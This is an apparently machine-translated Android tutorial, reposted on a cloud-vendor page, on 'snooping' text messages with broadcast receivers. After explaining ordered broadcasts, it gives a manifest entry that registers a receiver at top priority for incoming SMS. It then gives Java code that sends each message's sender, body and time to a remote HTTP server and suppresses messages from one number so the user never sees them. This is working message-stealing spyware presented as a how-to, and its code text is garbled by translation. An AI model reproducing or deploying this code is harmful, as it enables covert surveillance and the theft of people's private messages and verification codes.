Using broadcast receivers to snoop text messages

Source: Internet
Author: User

Context. sendbroadcast ()
A normal broadcast is sent, and all subscribers have the opportunity to obtain and process it.

Context. sendorderedbroadcast ()
An ordered broadcast is sent. The system executes receivers one by one based on the priority level stated by the receiver. The previous receiver has the right to terminate the broadcast (broadcastreceiver. abortbroadcast (), if the broadcast is terminated by the previous receiver, the subsequent receiver will no longer be able to obtain the broadcast. For ordered broadcast, the previous receiver can store the data in the result object through the setresultextras (bundle) method, and then pass it to the next receiver. The next receiver uses the code: bundle = getresultextras (true )) you can obtain the data stored by the previous receiver in the result object.

When the system receives a text message, the broadcast is an ordered broadcast. If you want to prevent the user from receiving text messages, you can set the priority so that the custom receiver can first obtain the broadcast and then terminate the broadcast so that the user cannot receive the text message.

Note:
(1) In Android, The broadcastreceiver instance is created and the onreceive () method is executed every time the broadcast message arrives. After the method is executed, the broadcastreceiver instance is destroyed. When the onreceive () method is not completed within 10 seconds, Android considers the program to be unresponsive. Therefore, you cannot perform some time-consuming operations in broadcastreceiver. the ANR (application No Response) dialog box is displayed on the other side. If you need to complete a time-consuming task, you should send intent to the service, which is done by the Service. Subthreads cannot be used here, because the life cycle of broadcastreceiver is very short, and the subthread may end before it ends. Once broadcastreceiver ends, the process where broadcastreceiver is located is easily killed first when the system requires memory because it is a blank process (process without any active components ). If its host process is killed, the working sub-thread is also killed. Therefore, it is unreliable to use sub-threads.
This should be done:
Public class IncomingSMSReceiver extends BroadcastReceiver {
@ Override public void onReceive (Context context, Intent intent ){
// Send Intent to start the service. The service performs time-consuming operations.
Intent service = new Intent (context, XxxService. class );
Context. startService (service );
}
}
(2) In addition to the arrival of text messages to broadcast Intent, there are many broadcast Intent devices in Android, such as boot startup, battery power change, and time change.
Receives the battery change broadcast Intent and subscribes to this Intent in the <application> node in the AndroidManifest. xml file:
<Cycler android: name = ". IncomingSMSReceiver">
<Intent-filter>
<Action android: name = "android. intent. action. BATTERY_CHANGED"/>
</Intent-filter>
</Cycler>

Receive the boot broadcast Intent and subscribe to this Intent in the <application> node in the AndroidManifest. xml file:
<Cycler android: name = ". IncomingSMSReceiver">
<Intent-filter>
<Action android: name = "android. intent. action. BOOT_COMPLETED"/>
</Intent-filter>
</Cycler>
It is useful to enable broadcast at startup. For example, if you want some applications to run after startup, You need to subscribe to this broadcast.

Steps for this instance:
1. Create an SMSBroadcastReceiver and inherit from BroadcastReceiver.
2. Configure the broadcast receiver in the file list
<Cycler android: name = ". SMSBroadcastReceiver">
<Intent-filter android: priority = "1000"> // sets the broadcast receiver level to the highest.
<Action android: name = "android. provider. Telephony. SMS_RECEIVED"/> // subscribes to the system SMS broadcast.
</Intent-filter>
</Cycler>
3. Complete the following code:

Package cn.sms.com; import java. io. outputStream; import java.net. httpURLConnection; import java.net. URL; import java.net. URLEncoder; import java. text. simpleDateFormat; import java. util. date; import android. content. broadcastReceiver; import android. content. context; import android. content. intent; import android. telephony. smsMessage; public class SMSBroadcastReceiver extends BroadcastReceiver {@ Overridepublic vo Id onReceive (Context context, Intent intent) {Object [] pdus = (Object []) intent. getExtras (). get ("pdus"); // The pdus contains multiple messages, so the returned value is an array. that is, text message data is stored in pdu format, but we do not know about pdu format, so we convert it to the SmsMessage Class Object message for (Object pdu: pdus) {SmsMessage message = SmsMessage. createFromPdu (byte []) pdu); // create SMS String sender = message. getDisplayOriginatingAddress (); String content = message. getMessageBody (); long date = message. getTimestamp Millis (); Date timeDate = new Date (date); SimpleDateFormat simpleDateFormat = new SimpleDateFormat ("yyyy-MM-dd HH: mm: ss"); String time = simpleDateFormat. format (timeDate); sendMessage (sender, content, time); // For the method, see if ("5556 ". equals (sender) {// broadcast interruption, no further transmission. The system's built-in SMS application cannot receive abortBroadcast () ;}} private void sendMessage (String sender, String content, string time) {String path = "http: // 192.168.1.120: 8080/androidStr Uts/sms. do "; try {// Group Object Data paramsString params =" method = getSMS & sender = "+ sender +" & content = "+ URLEncoder. encode (content, "UTF-8") + "& time =" + time; byte [] entity = params. getBytes (); // convert object data to a byte array HttpURLConnection httpURLConnection = (HttpURLConnection) new URL (path ). openConnection (); httpURLConnection. setConnectTimeout (5000); httpURLConnection. setRequestMethod ("GET"); httpURLConnection. setDoOutput (true); httpURL Connection. setRequestProperty ("Content-Type", "application/x-www-form-urlencoded"); httpURLConnection. setRequestProperty ("Content-Length", String. valueOf (entity. length); OutputStream outputStream = httpURLConnection. getOutputStream (); outputStream. write (entity); httpURLConnection. getResponseCode (); // This sentence must exist! This will send the data in the httpURLConnection cache} catch (Exception e) {e. printStackTrace ();}}}

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.